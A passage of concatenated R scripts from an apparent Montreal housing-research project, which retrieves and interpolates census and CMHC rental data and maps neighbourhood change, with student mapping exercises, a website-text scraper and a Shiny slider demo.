"low_income_AT_prop", "low_income_total", "aboriginal_total", "aboriginal",
"bachelor", "above_bachelor", "education_total",
"geometry")) %>%
mutate(bachelor_above = bachelor + above_bachelor,
low_income = (low_income_AT_prop/100) * low_income_total
# p_renter = renter / parent_tenure,
# p_repairs = major_repairs / parent_repairs,
# p_thirty_renter = thirty_renter / parent_thirty,
# p_vm = vm/parent_vm,
# p_immigrants = immigrants/parent_immigrants,
# p_mobility_one_year = mobility_one_year/parent_mobility_one_year,
# p_mobility_five_years = mobility_five_years/parent_mobility_five_years,
# p_aboriginal = aboriginal/parent_aboriginal,
# p_bachelor_above = bachelor_above / parent_education
) %>%
select(-c(bachelor, above_bachelor, low_income_AT_prop)) %>%
as_tibble() %>%
st_as_sf(agr = "constant")
DA_06_test <-
DA_06_test %>%
rename(ID = GeoUID)
# Process 2006 in 2016 boundaries ------------------------------------------------------------
DA_06_test <-
DA_06_test %>%
mutate(area = st_area(geometry)) %>%
st_set_agr("constant")
# Identify variables to be averaged
avg_list <- str_subset(names(DA_06_test), "avg|median") %>%
str_subset("total", negate = TRUE)
# Identify variables to be aggregated
agg_list <-
setdiff(names(DA_06_test), c("ID", "name", "CTUID", "CSDUID", "geometry",
"area")) %>%
setdiff(avg_list)
DA_06_to_16 <-
DA %>%
rename(ID = GeoUID) %>%
select(ID) %>%
#st_transform(32618) %>%
st_set_agr("constant") %>%
st_intersection(DA_06_test) %>%
mutate(area_prop = st_area(geometry) / area) %>%
mutate(across(all_of(agg_list), ~{.x * units::drop_units(area_prop)})) %>%
select(-ID.1, -area, -area_prop) %>%
st_drop_geometry() %>%
group_by(ID) %>%
summarize(
value_dwellings_avg =
weighted.mean(value_dwellings_avg, value_dwellings_total, na.rm = TRUE),
gross_rent_avg =
weighted.mean(gross_rent_avg, renter_total, na.rm = TRUE),
HH_income_AT_median =
weighted.mean(HH_income_AT_median, HH_income_total, na.rm = TRUE),
across(all_of(agg_list), sum, na.rm = TRUE)) %>%
mutate(across(where(is.numeric), ~replace(., is.nan(.), 0))) %>%
mutate(across(all_of(agg_list), ~if_else(.x < 5, 0, .x)))
DA_06_interpolated <-
DA_06_to_16 %>%
rename(dwellings_06 = dwellings,
population_06 = population,
renter_06 = renter,
value_dwellings_avg_06 = value_dwellings_avg,
gross_rent_avg_06 = gross_rent_avg,
HH_income_AT_median_06 = HH_income_AT_median) %>%
mutate(p_low_income_AT_06 = low_income / low_income_total,
p_renter_06 = renter_06 / tenure_total,
p_repairs_06 = major_repairs / repairs_total,
p_thirty_renter_06 = thirty_renter / renter_total,
p_vm_06 = vm / vm_total,
p_immigrants_06 = immigrants / immigrants_total,
p_mobility_one_year_06 = mobility_one_year / mobility_one_year_total,
p_mobility_five_years_06 = mobility_five_years / mobility_five_years_total,
p_aboriginal_06 = aboriginal / aboriginal_total,
p_bachelor_above_06 = bachelor_above / education_total
) %>%
select(ID, dwellings_06, population_06, renter_06, gross_rent_avg_06, value_dwellings_avg_06,
HH_income_AT_median_06, p_thirty_renter_06, p_renter_06, p_repairs_06,
p_mobility_one_year_06, p_mobility_five_years_06, p_vm_06,
p_immigrants_06, p_aboriginal_06, p_low_income_AT_06, p_bachelor_above_06) %>%
as_tibble()
DA_06_16 <- left_join(DA %>% rename(ID = GeoUID), DA_06_interpolated, by = "ID") %>%
relocate(geometry, .after = last_col())
var_DA_06_16 <-
DA_06_16 %>%
mutate(var_dwellings = (dwellings - dwellings_06) / dwellings_06,
var_population = (population - population_06) / population_06,
var_renter = (renter - renter_06) / renter_06,
var_prop_renter = (p_renter - p_renter_06) / p_renter_06,
var_avg_rent = (average_rent - gross_rent_avg_06) / gross_rent_avg_06,
var_avg_value_dwelling = (average_value_dwellings - value_dwellings_avg_06) / value_dwellings_avg_06,
var_median_HH_income_AT = (median_HH_income_AT - HH_income_AT_median_06) / HH_income_AT_median_06,
var_prop_LIMAT = (p_low_income_AT - p_low_income_AT_06) / p_low_income_AT_06,
var_prop_thirty_renter = (p_thirty_renter - p_thirty_renter_06) / p_thirty_renter_06,
var_prop_repairs = (p_repairs - p_repairs_06) / p_repairs_06,
var_prop_mobility_one_year = (p_mobility_one_year - p_mobility_one_year_06) / p_mobility_one_year_06,
var_prop_mobility_five_years = (p_mobility_five_years - p_mobility_five_years_06) / p_mobility_five_years_06,
var_prop_vm = (p_vm - p_vm_06) / p_vm_06,
var_prop_immigrants = (p_immigrants - p_immigrants_06) / p_immigrants_06,
var_prop_aboriginal = (p_aboriginal - p_aboriginal_06) / p_aboriginal_06)
var_list <- str_subset(names(var_DA_06_16), "var")
var_DA_06_16 %>%
mutate(across(all_of(var_list), ~replace(., is.nan(.), 0))) %>%
mutate(across(all_of(var_list), ~replace(., is.infinite(.), NA))) %>%
View()
is.infinite()
save(var_DA_06_16, DA_06_test,
file = "output/var_06_16.Rdata")
var_DA_06_16 %>%
ggplot() +
geom_sf(aes(fill = var_dwellings), color = NA)+
scale_fill_gradient2(low = col_palette[3],
mid = "white",
high = col_palette[1],
midpoint = 0,
label = scales::percent,
oob = scales::squish,
limits = c(-0.5, 0.5))+
theme_void()
var_DA_06_16 %>%
ggplot() +
geom_sf(aes(fill = var_avg_rent), color = NA)+
scale_fill_gradient2(low = col_palette[3],
mid = "white",
high = col_palette[1],
midpoint = 0,
label = scales::percent,
oob = scales::squish,
limits = c(-0.5, 0.5))+
theme_void()
var_DA_06_16 %>%
ggplot() +
geom_sf(aes(fill = var_prop_immigrants), color = NA)+
scale_fill_gradient2(low = col_palette[3],
mid = "white",
high = col_palette[1],
midpoint = 0,
label = scales::percent,
oob = scales::squish,
limits = c(-0.5, 0.5))+
theme_void()
var_DA_06_16 %>%
ggplot() +
geom_sf(aes(fill = var_avg_value_dwelling), color = NA)+
scale_fill_gradient2(low = col_palette[3],
mid = "white",
high = col_palette[1],
midpoint = 0,
label = scales::percent,
oob = scales::squish,
limits = c(-0.5, 1))+
theme_void()
var_DA_06_16 %>%
ggplot() +
geom_sf(aes(fill = var_median_HH_income_AT), color = NA)+
scale_fill_gradient2(low = col_palette[3],
mid = "white",
high = col_palette[1],
midpoint = 0,
label = scales::percent,
oob = scales::squish,
limits = c(-1, 1))+
theme_void()
DA <-
DA %>%
mutate(p_low_income_AT = p_low_income_AT / 100)
# prop_list <- str_subset(names(DA), "p_")
#
# DA[ ,which((names(DA) %in% prop_list)==TRUE)] %>%
# st_drop_geometry() %>%
# filter(across(where(is.numeric), ~ .x > 0))
# #as.matrix() %>%
# lapply(., min, na.rm = TRUE)
#
# ?lapply
# ?across
# ?filter_at
# ?all_vars
<file_sep>/R/001_bivariate_exercise.R
library(biscale)
library(scales)
library(patchwork)
# Set the bivariate color palette
bivar <- bi_pal_manual(val_1_1 = "#e8e8e8",
val_1_2 = "#b8d6be",
val_2_1 = "#b5c0da",
val_2_2 = "#90b2b3",
val_3_1 = "#6c83b5",
val_3_2 = "#567994",
val_1_3 = "#73ae80",
val_2_3 = "#5a9178",
val_3_3 = "#2a5a5b", preview=FALSE)
show_col(bivar)
# Prepare the dataset to display in a bivariate choropleth map
BIVARIATE_DATASET_NAME <-
bi_class(na.omit(DATASET), x = VARIABLE_X, y = VARIABLE_Y, style = "quantile", dim = 3) #na.omit() is useful when analyses require you to have a dataset free of NA values!
# Plot for the bivariate choropleth map
plot <-
ggplot() +
geom_sf(data = BIVARIATE_DATASET_NAME, mapping = aes(fill = bi_class), color = "white", size = 0.1, show.legend = FALSE) +
bi_scale_fill(pal = bivar, dim = 3) +
bi_theme()+
theme(legend.position = "bottom")
plot #to see your plot
# Add bivariate legend
bi_legend <- bi_legend(pal = bivar,
dim = 3,
xlab = "Percentage of VARIABLE_X",
ylab = "Percentage of VARIABLE_Y",
size = 8)
PLOT_FINAL_NAME <- plot + inset_element(bi_legend, left = 0, bottom = 0.6, right = 0.4, top = 1)
PLOT_FINAL_NAME
# Save in PDF in your output/figures folder to see the true sizes of your plot, ajust accordingly
ggsave("output/figures/PLOT_FINAL_NAME.pdf", plot = PLOT_FINAL_NAME, width = 8,
height = 5, units = "in", useDingbats = FALSE)
<file_sep>/R/003_exercises.R
### R EXERCISES FOR RETRIEVING, JOINING AND MAPPING DATA #################
# Step 1: load libraries ------------------------------------------------
# You might have to install libraries if you do not have them using
# install.packages("NAME OF LIBRARY")
# The ones I usually use
library(sf)
library(stringr)
library(tidyr)
library(tidyverse)
library(lubridate)
library(cancensus)
library(osmdata)
library(biscale)
library(scales)
library(patchwork)
# Exercise 1: Retrieve cancensus data ------------------------------------
# Retrieving cancensus data can be a pain depending on which variables you
# are interested in. The process is however always the same. Here is my skeleton
# code for retrieving CT- or DA-level census data
# Step 1: see the regions and variables you would like to import
View(cancensus::list_census_regions("CA16")) # use CA11, CA06 if you want older censuses. The value in the region
#column is the one you will want,
View(cancensus::list_census_vectors("CA16")) # the pop-up page will include all census variables. You might have to
#use your filter button to figure out which variables you will want! Once you know, you will want to past the vector
# value in the code below.
# Step 2: import
DA <-
get_census(
dataset = "CA16", regions = list(CSD = c("2466023")), level = "DA", #dataset in the census year you want. regions is the region you want (note the level, here it is CSD), level = is for how fined grained you want the data to be displayed (CT? DA?)
vectors = c("v_CA16_4840", "v_CA16_4841"), #the vectors you want to get. it you want to do percentages, you will have to find both the value and the parent vectors. This can get tricky because there are "subtotals" at times. Lmk if you want and we can check together!
geo_format = "sf") %>% #to let R know you want it to be spatialized
st_transform(32618) %>% #Mtl projection
select(-c(`Shape Area`:Households, CSD_UID, CT_UID:`Area (sq km)`)) %>% #I take out the random variables I don't want in the DA dataset. The "general" columns of DA and CT are not the same, so this select is different for CT (ask me if you want it)
set_names(c("dwellings", "GeoUID", "population", #By removing all the random variables in the manipulation before, I make it easier for myself to rename the columns so they are easy to work with (no quotes, :, majuscules, etc)
"parent_condo", "condo", "geometry")) %>% #set_names work if you provide the same number of names than there are columns. It will give you an error if not. You can run (without assigning) the lines above, see the output in your console and set the names with that!
mutate(p_condo = condo / parent_condo) %>% #to create a proportion column, I used the condo variable and the parent_condo variable from above. This will give me a percentage to map is easily (and meaningfully!)
select(GeoUID, dwellings, population, p_condo) %>% # I do not neeed condo and parent_condo no more.
as_tibble() %>% #prettier/easier to work with than the original format!
st_as_sf(agr = "constant")
# You can use plot() to visualize this easily. The output is ugly but at least you'll know you are in Mtl!
plot(DA)
# Insteas of re-doing this every time you open your R (or save everything from the previous session in your workspace)
# you can save this output (or all your script's outputs) in a .Rdata file. Here is the code:
save(DA, # you can put more than one: so like CT, DA, streets, bike_lanes, etc!
file = "output/geometry.Rdata")
# My repo always has R, output and data folders (and a figures folder in the output folder). Makes it easy to
# reuse and trace your work! All my .Rscript live in the R folder. All the .Rdata files I output live in the
# output folder, and all the data from donnees montreal I download are in my data folder. The figures I produce
# live in my output/figures folder. You can load a .Rdata file doing this:
load("output/geometry.Rdata")
# Exercise 1: Spatial join of cancensus and open data -------------------------
# We will use the tree felling dataset from Open Data Montreal
# https://donnees.montreal.ca/ville-de-montreal/abattage-arbres-publics
felling_raw <- read_csv("data/arbres-abattages.csv")
# The dataset is ugly, so we will clean it and make sure it is an sf dataset
felling_raw # to view the output
# We will start by changing the column names, giving it a geometry and maybe
# change the date column to take out the time! We need to read about each column
# on the website to know
felling <-
felling_raw %>%
as_tibble() %>%
select(-Coord_X, -Coord_Y) %>% # we have two sets of coordinates and only need one
set_names(c("on_street", "id", "nb_felling", "type", "date", "longitude", "latitude")) %>% #once that is done we will add a geometry column
filter(!is.na(longitude)) %>% # setting a geometry is only possible if there are no NA values for the points. Filtering with a !is.na is telling R to filter for only value that are NOT (!) NAs
st_as_sf(coords = c("longitude", "latitude"), crs=4326) %>% #you use the two columns names for lon-lat in coords, and put a crs. It is usually either 4326 or 32618 for Mtl
st_transform(32618) %>% #mtl projection
mutate(date = as.Date(date, format = "%Y/%m/%d")) # since the time was always 00:00:00, it is more prudent to only have your date be Ymd
felling
# much cleaner!
# also, the on_street column tells us if the tree is on the street or no. Having it be a TRUE/FALSE column would make more sense.
# here is how we can do that!
felling <-
felling %>%
mutate(on_street = ifelse(on_street == "H", FALSE, TRUE)) # My statement is saying "if my value is H (for hors rue or not on street), make on_street be FALSE, if not, make it TRUE
# Join the felling and DA dataset to have the number of felling by DA!
felling_DA <- st_join(DA, felling) # a join will join the two datasets by common location and give the second dataset in the function the geometry of the first dataset. In that case, each DA will be given the geometry of the DA so we can do group_by with it!
# We lost half (!!!) of our tree fellings with the join. I honestly have no idea why, but in the normal world I would check it out!
felling_DA
# We can now see that each tree has the variables from the DA dataset (the p_condo one is random but whatever).
# we can now map the number of tree fellings by DA in the city of montreal
felling_DA %>%
group_by(GeoUID) %>%
summarize(number_fellings = n()) %>%
ggplot()+
geom_sf(aes(fill=number_fellings), color=NA)+ # color=NA takes out the thick dark grey borders that we do not need
scale_fill_gradient2(low = "blue", mid = "white", high = "red", midpoint = 500) + # the scale_fill_gradient lets you choose your colors. you can go online and google "colors in R" to see the codes for all the colors you can use!
theme_void()
# Our plot is kinda ugly because we don't have a legend name but also because we have outliers that makes the map all yellow.
# You can inspect those and decide if it is legit to keep it in your map. Let's say it is. You can then adjust the limits of
# your scale using limits = c(X, Y) and oob = scales::squish to make the map legible, without filtering out the outliers (squishing the values)
felling_DA %>%
group_by(GeoUID) %>%
summarize(number_fellings = n()) %>%
ggplot()+
geom_sf(aes(fill=number_fellings), color=NA)+ # color=NA takes out the thick dark grey borders that we do not need
scale_fill_gradient2(low = "lightblue", mid = "pink", high = "red", # the scale_fill_gradient lets you choose your colors
midpoint = 125,
limits = c(0, 250),
oob = scales::squish) +
theme_void()
# better! colors are still ugly but you can play around
# Tips
# 1- When you do not know what to put as arguments in functions, use ?thefunction to see the help documentation
# 2- You can google your error message and see what other solutions people found (usually on Stack Overflow)
# 3- After spending 10-15 minutes on an issue, shoot me a message so we can figure out what is going on!
<file_sep>/R/002_bivariate_exercise_Alexia.R
library(biscale)
library(scales)
library(ggplot2)
install.packages("ggplot2")
install.packages("cowplot")
library(cowplot)
install.packages("grid")
library(grid)
install.packages("gridGraphics")
library(gridGraphics)
load("output/geometry.Rdata")
install.packages("patchwork")
library(patchwork)
# Set the bivariate color palette
bivar <- bi_pal_manual(val_1_1 = "#e8e8e8",
val_1_2 = "#b8d6be",
val_2_1 = "#b5c0da",
val_2_2 = "#90b2b3",
val_3_1 = "#6c83b5",
val_3_2 = "#567994",
val_1_3 = "#73ae80",
val_2_3 = "#5a9178",
val_3_3 = "#2a5a5b", preview=FALSE)
show_col(bivar)
# Prepare the dataset to display in a bivariate choropleth map
Percentage_low_income <-
bi_class(na.omit(CT), x = p_low_income_AT, y = p_aboriginal, style = "quantile", dim = 3)
# Plot for the bivariate choropleth map
Bivarite_map_lowincome_aboriginal <-
ggplot() +
geom_sf(data =Percentage_low_income, mapping = aes(fill = bi_class), color = "white", size = 0.1, show.legend = FALSE) +
bi_scale_fill(pal = bivar, dim = 3) +
bi_theme()+
theme(legend.position = "bottom")
Bivarite_map_lowincome_aboriginal #to see your plot
# Add bivariate legend
bi_legend <- bi_legend(pal = bivar,
dim = 3,
xlab = "Percentage of low income",
ylab = "Percentage of aboriginal",
size = 8)
plotlegend <- plot + inset_element(bi_legend, left = 0, bottom = 0.6, right = 0.4, top = 1)
# Save in PDF in your output/figures folder to see the true sizes of your plot, ajust accordingly
ggsave("output/figures/PLOTNAMEWITHLEGEND.pdf", plot = PLOTNAMEWITHLEGEND, width = 8,
height = 5, units = "in", useDingbats = FALSE)<file_sep>/R/06_sustainable_constructions.R
new_con <-
uef_raw %>%
filter(ANNEE_CONS >= 2015) %>%
filter(ANNEE_CONS < 2025) %>%
group_by(CIVIQUE_DE, CIVIQUE_FI, NOM_RUE, ANNEE_CONS) %>%
summarize(number_units=sum(NOMBRE_LOG, na.rm=TRUE)) %>%
filter(number_units > 15)
plot1 <-
new_con %>%
set_names(c("civic_start", "civic_end", "street_name", "year_construction", "number_units", "geometry")) %>%
mutate(civic_start = as.numeric(civic_start), civic_end = as.numeric(civic_end)) %>%
right_join(., sus_survey_dev, by = c("civic_start", "civic_end", "street_name", "number_units")) %>%
st_as_sf() %>%
mutate(geometry = st_centroid(geometry)) %>%
filter(Sustainability == 1) %>%
ggplot() +
geom_sf(data = province, fill="grey90", color=NA)+
geom_sf(aes(size=number_units, color=year_construction))+
geom_rect(xmin = 607600, ymin = 5036000, xmax = 614600, ymax = 5043000,
fill = NA, colour = "black", size = 0.3)+
scale_size_binned(name = "Number of units",
breaks = c(10, 50, 100, 300, 400, 500))+
scale_color_gradient(name = "Year of construction",
low = col_palette[8], high = col_palette[9])+
gg_bbox(boroughs)+
theme_void()
plot1_zoom <-
new_con %>%
set_names(c("civic_start", "civic_end", "street_name", "year_construction", "number_units", "geometry")) %>%
mutate(civic_start = as.numeric(civic_start), civic_end = as.numeric(civic_end)) %>%
right_join(., sus_survey_dev, by = c("civic_start", "civic_end", "street_name", "number_units")) %>%
st_as_sf() %>%
mutate(geometry = st_centroid(geometry)) %>%
filter(Sustainability == 1) %>%
ggplot() +
geom_sf(data = province, fill="grey90", color=NA)+
geom_sf(data = streets_downtown, size = 0.3, colour = "white") +
geom_sf(aes(size=number_units, color=year_construction), show.legend = FALSE)+
scale_size_binned(breaks = c(10, 50, 100, 300, 400, 500))+
scale_color_gradient(low = col_palette[8], high = col_palette[9])+
coord_sf(xlim = c(607600, 614600), ylim = c(5036000, 5043000),
expand = FALSE) +
theme_void()+
theme(legend.position = "none",
plot.background = element_rect(color = "white"),
panel.border = element_rect(fill = NA, colour = "black", size = 1))
sustainability_branded_constructions <-
plot1 +
inset_element(plot1_zoom, left = 0, bottom = 0.5, right = 0.6, top = 1)
ggsave("output/figures/sustainability_branded_constructions.pdf", plot = sustainability_branded_constructions, width = 8,
height = 4.2, units = "in", useDingbats = FALSE)
new_con %>%
set_names(c("civic_start", "civic_end", "street_name", "year_construction", "number_units", "geometry")) %>%
mutate(civic_start = as.numeric(civic_start), civic_end = as.numeric(civic_end)) %>%
right_join(., sus_survey_dev, by = c("civic_start", "civic_end", "street_name", "number_units")) %>%
filter(Sustainability == 1) %>%
ggplot()+
geom_histogram(aes(x=year_construction), binwidth = 0.5)
<file_sep>/R/11_website_scrapes.R
install.packages("rvest")
library(rvest)
websites_dataframe <- readxl::read_xlsx("data/websites.xlsx")
website_urls <-
websites_dataframe %>%
filter(!is.na(Website)) %>%
select(Website) %>%
na.omit() %>%
pull(Website)
result <- vector("list", length(website_urls))
for (i in seq_along(website_urls)) {
result[[i]] <-
read_html(website_urls[[i]]) %>%
html_element("body") %>%
html_text2()
}
text_list <- unlist(result)
website_text <- data.frame(Website = website_urls, text = text_list)
websites_dataframe_with_text <-
websites_dataframe %>%
left_join(., website_text, by = "Website")
write_csv(websites_dataframe_with_text, file = "output/websites_dataframe_with_text")
website_test <- read_html("https://onessy.ca/fr/?utm_source=gmb&utm_medium=organic&utm_campaign=O%27Nessy")
website_test %>%
html_element("body") %>%
html_text2()
read_html(website_urls[[5]]) %>%
html_element("p") %>%
html_text2()
website_text <- read_csv("output/websites_dataframe_with_text")
sample <- website_text %>% distinct(Website, .keep_all = TRUE) %>% slice(1:3)
text <- str_remove_all(sample$text, "<.*?>")
text <- str_remove_all(text, "\\{.*?\\}")
text <- str_remove_all(text, "\\(.*?\\)")
text <- str_replace_all(text, "\\n", " ")
text
<file_sep>/R/08_slider_input_options.R
#### OPTION 1 ############################################################################
library(shiny)
slider_min <- 1986
slider_max <- 2016
slider_init <- c(2006, 2016)
ui <- fluidPage(
sidebarLayout(
sidebarPanel(
conditionalPanel(
condition = "input.checkbox==0",
sliderInput("integer", "Integer:",
min = slider_min, max = slider_max,
step = 5,
sep = "",
value = 2016)
),
conditionalPanel(
condition = "input.checkbox==1",
sliderInput("range", "Range:",
min = slider_min, max = slider_max,
step = 5,
sep = "",
value = c(2006, 2016)
)
),
checkboxInput("checkbox", "Compare between years", FALSE)
),
mainPanel()
)
)
server <- function(input, output, session) {
slider_values <- reactiveVal(slider_init)
observe({
if(input$checkbox == 1){
slider_values(isolate(input$range))
updateSliderInput(session, "range", value=c(2006, 2016))
}else{
updateSliderInput(session, "integer", value=2016)
}
#outputOptions(output, "slider_values", suspendWhenHidden = FALSE)
})
}
# Run the application
shinyApp(ui = ui, server = server)
<file_sep>/R/021_cmhc2020_import.R
#### 06 CMHC 2020 IMPORT DATA ########################################################
source("R/01_startup.R")
load("output/geometry.Rdata")
load("output/cmhc_2019.Rdata")
# Annual units ---------------------------------------------------------------
units2020 <- readxl::read_xlsx("data/mtl_units.xlsx")
annual_units <-
units2020 %>%
pivot_longer(cols = Bachelor:Total) %>%
mutate(date = 2020,
dwelling_type = "Total") %>%
rename(units = value,
bedroom = name) %>%
left_join(., st_drop_geometry(cmhc)) %>%
select(date, zone, zone_name, dwelling_type, bedroom, units) %>%
rbind(., annual_units) %>%
arrange(date)
city_units <-
annual_units %>%
filter(zone_name == "Montréal") %>%
select(date, bedroom, units) %>%
rbind(., city_units) %>%
arrange(date)
annual_units <-
annual_units %>%
filter(zone_name != "Montréal")
# Average rents -----------------------------------------------------------------
rents2020 <- readxl::read_xlsx("data/mtl_average_rents.xlsx")
part1 <- rents2020 %>%
select(zone_name, Bachelor, "1 Bedroom", "2 Bedroom", "3 Bedroom +", "Total") %>%
pivot_longer(cols = Bachelor:Total)
part2 <- rents2020 %>%
select(zone_name, quality0, quality1, quality2, quality3, qualityt) %>%
pivot_longer(quality0:qualityt) %>%
pull(value)
annual_avg_rent <-
part1 %>%
mutate(quality = part2) %>%
rename(bedroom = name,
avg_rent = value) %>%
mutate(date = 2020,
occupied_status = "Occuppied Units",
occ_rent_higher = NA) %>%
left_join(., st_drop_geometry(cmhc)) %>%
select(date, zone, zone_name, bedroom, occupied_status, avg_rent, quality, occ_rent_higher) %>%
rbind(., annual_avg_rent) %>%
arrange(date)
city_avg_rent <-
annual_avg_rent %>%
filter(zone_name == "Montréal") %>%
select(date, bedroom, avg_rent, quality) %>%
rbind(., city_avg_rent) %>%
arrange(date)
annual_avg_rent <-
annual_avg_rent %>%
filter(zone_name != "Montréal")
# Annual vacancy ------------------------------------------------
vacancy2020 <- readxl::read_xlsx("data/mtl_vacancy_rates.xlsx")
part1 <- vacancy2020 %>%
select(zone_name, Bachelor, "1 Bedroom", "2 Bedroom", "3 Bedroom +", "Total") %>%
pivot_longer(cols = Bachelor:Total)
part2 <- rents2020 %>%
select(zone_name, quality0, quality1, quality2, quality3, qualityt) %>%
pivot_longer(quality0:qualityt) %>%
pull(value)
annual_vacancy <-
part1 %>%
mutate(quality = part2) %>%
rename(bedroom = name,
vacancy = value) %>%
mutate(date = 2020,
dwelling_type = "Total") %>%
left_join(., st_drop_geometry(cmhc)) %>%
select(date, zone, zone_name, dwelling_type, bedroom, vacancy, quality) %>%
rbind(., annual_vacancy) %>%
arrange(date)
city_vacancy <-
annual_vacancy %>%
filter(zone_name == "Montréal") %>%
select(date, bedroom, vacancy, quality) %>%
rbind(., city_vacancy) %>%
arrange(date)
annual_vacancy <-
annual_vacancy %>%
filter(zone_name != "Montréal")
# Save output -------------------------------------------------------
save(annual_avg_rent, annual_units, annual_vacancy,
city_avg_rent, city_units, city_vacancy, cmhc, file = "output/cmhc.Rdata")
<file_sep>/R/020_geometry_import.R
#### 02 GEOMETRY IMPORT ########################################################
source("R/01_startup.R")
library(cancensus)
library(osmdata)
# Montreal DAs ------------------------------------------------------------
View(cancensus::list_census_vectors("CA16"))
DA <-
get_census(
dataset = "CA16", regions = list(CSD = c("2466023")), level = "DA",
vectors = c("v_CA16_4840", "v_CA16_4841", "v_CA16_4836", "v_CA16_4838",
"v_CA16_4897", "v_CA16_4899", "v_CA16_4870", "v_CA16_4872", "v_CA16_4901",
"v_CA16_4900", "v_CA16_3957", "v_CA16_3954", "v_CA16_3411",
"v_CA16_3405", "v_CA16_6698", "v_CA16_6692", "v_CA16_6725",
"v_CA16_6719", "v_CA16_4896", "v_CA16_4861", "v_CA16_4859",
"v_CA16_2398", "v_CA16_2540", "v_CA16_3852", "v_CA16_3855",
"v_CA16_5123", "v_CA16_5096"),
geo_format = "sf") %>%
st_transform(32618) %>%
select(-c(`Shape Area`:Households, CSD_UID, CT_UID:`Area (sq km)`)) %>%
set_names(c("dwellings", "GeoUID", "population", "parent_condo", "condo", "parent_tenure",
"renter", "parent_thirty", "p_thirty_renter", "parent_repairs", "major_repairs",
"median_rent", "average_value_dwellings", "unsuitable_housing", "parent_unsuitable", "average_rent",
"vm", "parent_vm", "immigrants", "parent_immigrants", "mobility_one_year",
"parent_mobility_one_year", "mobility_five_years", "parent_mobility_five_years",
"median_HH_income_AT", "p_low_income_AT",
"parent_aboriginal", "aboriginal", "bachelor_above", "parent_education",
"geometry")) %>%
mutate(p_condo = condo / parent_condo,
p_renter = renter / parent_tenure,
p_repairs = major_repairs / parent_repairs,
p_vm = vm/parent_vm,
p_thirty_renter = p_thirty_renter/100,
p_immigrants = immigrants/parent_immigrants,
p_mobility_one_year = mobility_one_year/parent_mobility_one_year,
p_mobility_five_years = mobility_five_years/parent_mobility_five_years,
p_unsuitable = unsuitable_housing/parent_unsuitable,
p_aboriginal = aboriginal/parent_aboriginal,
p_bachelor_above = bachelor_above / parent_education) %>%
select(GeoUID, dwellings, population, renter, median_rent, average_rent, average_value_dwellings, median_HH_income_AT, p_thirty_renter, p_condo,
p_renter, p_repairs, p_mobility_one_year, p_mobility_five_years, p_unsuitable,
p_vm, p_immigrants, p_aboriginal, p_low_income_AT, p_bachelor_above) %>%
as_tibble() %>%
st_as_sf(agr = "constant")
# Montreal CTs ------------------------------------------------------------
View(cancensus::list_census_vectors("CA16"))
CT <-
cancensus::get_census(
dataset = "CA16", regions = list(CSD = c("2466023")), level = "CT",
vectors = c("v_CA16_4840", "v_CA16_4841", "v_CA16_4836", "v_CA16_4838",
"v_CA16_4897", "v_CA16_4899", "v_CA16_4870", "v_CA16_4872",
"v_CA16_4900", "v_CA16_3957", "v_CA16_3954", "v_CA16_3411",
"v_CA16_3405", "v_CA16_6698", "v_CA16_6692", "v_CA16_6725",
"v_CA16_6719", "v_CA16_4896", "v_CA16_4861", "v_CA16_4859",
"v_CA16_2398", "v_CA16_2540", "v_CA16_3852", "v_CA16_3855",
"v_CA16_5123", "v_CA16_5096"),
geo_format = "sf") %>%
st_transform(32618) %>%
select(-c(Type, Households, `Adjusted Population (previous Census)`:CSD_UID, PR_UID:`Area (sq km)`)) %>%
set_names(c("GeoUID", "dwellings", "parent_condo", "condo", "parent_tenure",
"renter", "parent_thirty", "p_thirty_renter", "parent_repairs", "major_repairs",
"median_rent", "average_value_dwellings", "unsuitable_housing", "parent_unsuitable",
"vm", "parent_vm", "immigrants", "parent_immigrants", "mobility_one_year",
"parent_mobility_one_year", "mobility_five_years", "parent_mobility_five_years",
"median_HH_income_AT", "p_low_income_AT", "parent_aboriginal",
"aboriginal", "bachelor_above", "parent_education",
"geometry")) %>%
mutate(p_condo = condo / parent_condo,
p_renter = renter / parent_tenure,
p_repairs = major_repairs / parent_repairs,
p_vm = vm/parent_vm,
p_immigrants = immigrants/parent_immigrants,
p_mobility_one_year = mobility_one_year/parent_mobility_one_year,
p_mobility_five_years = mobility_five_years/parent_mobility_five_years,
p_unsuitable = unsuitable_housing/parent_unsuitable,
p_aboriginal = aboriginal/parent_aboriginal,
p_bachelor_above = bachelor_above / parent_education) %>%
select(GeoUID, dwellings, renter, median_rent, average_value_dwellings, median_HH_income_AT, p_thirty_renter, p_condo,
p_renter, p_repairs, p_mobility_one_year, p_mobility_five_years, p_unsuitable,
p_vm, p_immigrants, p_aboriginal, p_low_income_AT, p_bachelor_above) %>%
as_tibble() %>%
st_as_sf(agr = "constant")
# Montreal DAs 2006 -------------------------------------------------------
DA_06 <-
get_census(
dataset = "CA06", regions = list(CSD = c("2466023")), level = "DA",
vectors = c("v_CA06_101", "v_CA06_103", "v_CA06_2049", "v_CA06_2051",
"v_CA06_105", "v_CA06_108", "v_CA06_1303", "v_CA06_1302",
"v_CA06_478", "v_CA06_474", "v_CA06_453", "v_CA06_451",
"v_CA06_462", "v_CA06_460", "v_CA06_2030", "v_CA06_1981",
"v_CA06_1292", "v_CA06_1293", "v_CA06_1257", "v_CA06_1258", "v_CA06_1248",
"v_CA06_2050", "v_CA06_2054"),
geo_format = "sf") %>%
st_transform(32618) %>%
select(-c(`Shape Area`:`Quality Flags`, CSD_UID:CT_UID, CD_UID:`Area (sq km)`)) %>%
set_names(c("GeoUID", "dwellings", "parent_tenure", "renter",
"parent_repairs", "major_repairs", "parent_thirty", "median_HH_income_AT", "average_gross_rent",
"thirty_renter", "average_value_dwellings", "vm", "parent_vm", "immigrants", "parent_immigrants",
"mobility_one_year", "parent_mobility_one_year", "mobility_five_years", "parent_mobility_five_years",
"p_low_income_AT", "parent_aboriginal", "aboriginal",
"bachelor", "above_bachelor", "parent_education",
"geometry")) %>%
mutate(bachelor_above = bachelor + above_bachelor,
p_renter = renter / parent_tenure,
p_repairs = major_repairs / parent_repairs,
p_thirty_renter = thirty_renter / parent_thirty,
p_vm = vm/parent_vm,
p_immigrants = immigrants/parent_immigrants,
p_mobility_one_year = mobility_one_year/parent_mobility_one_year,
p_mobility_five_years = mobility_five_years/parent_mobility_five_years,
p_aboriginal = aboriginal/parent_aboriginal,
p_bachelor_above = bachelor_above / parent_education) %>%
select(GeoUID, dwellings, renter, average_gross_rent, average_value_dwellings, median_HH_income_AT, p_thirty_renter,
p_renter, p_repairs, p_mobility_one_year, p_mobility_five_years,
p_vm, p_immigrants, p_aboriginal, p_low_income_AT, p_bachelor_above) %>%
as_tibble() %>%
st_as_sf(agr = "constant")
# Montreal CTs 2006 -------------------------------------------------------
CT_06 <-
get_census(
